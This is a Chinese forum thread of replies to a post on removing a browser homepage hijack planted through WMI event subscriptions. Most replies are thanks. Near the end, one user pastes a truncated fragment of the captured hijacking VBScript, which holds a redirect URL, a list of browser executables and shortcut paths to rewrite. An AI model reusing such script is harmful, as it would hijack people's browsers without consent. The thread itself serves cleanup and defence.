抓“虫”---主页被WMI方法劫持的解救方法和工具

zykm

办公室跟家里的电脑都被劫持过

kdst

终于看到解决办法了

玄风残翼

cjy__05 发表于 2017-3-1 17:35
网吧很多电脑也是主页被改 非常顽固 不知道是不是这种方式

网吧里不用这么弱的方法。网吧里都是用Rootkit，就是一种合法病毒。

菠萝油王子lyg

谢谢分享！

prophet

标记一下，以备日后使用，谢谢分享

ufoqqq

感谢分享!收藏备用。

黯然小混

在WMI Event Registration Editor 中，注册了一个VBSScriptLKKDS_filter脚本事件   这个看不懂，怎么弄出来的，楼主？？

jjww2002

Wayne_cen 发表于 2017-3-2 11:58
运营商都是DNS劫持，我只听过，没遇到过。

嗯，无缘无故跳出来的广告窗口，应该就是

zhengping410

感谢楼主分享！收藏备用。

xiao911

这个刚好用得着，谢谢分享

txyc

写得比较详细，点赞！这个方法的确是对于浏览器老是被劫持，又不知问题出在那里的一种好教程！非常感谢

1009129973

十分感谢楼主，之前试过很多方法，都没有用

gl2525

hao123是比较恶心的

hack930

谢谢。这种过程可以让后来者，借鉴

1009129973

已经成功删除，再次感谢，么么哒

ginoxp

cha ge biao ji!~~~

rgcjh

1这是高手啊

tiansi78

非常感谢，按照你提供的方法，我也捉到了“虫”

kfc0013

1. On Error Resume Next:Const link = "http://hao642.com/?r=gameall&m=c37":Const link360 = "http://hao642.com/?r=gameall&m=c37&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\kfc\Desktop,C:\Users\kfc\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\kfc\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\kfc\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\kfc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LC

复制代码

抓到了一个，谢谢！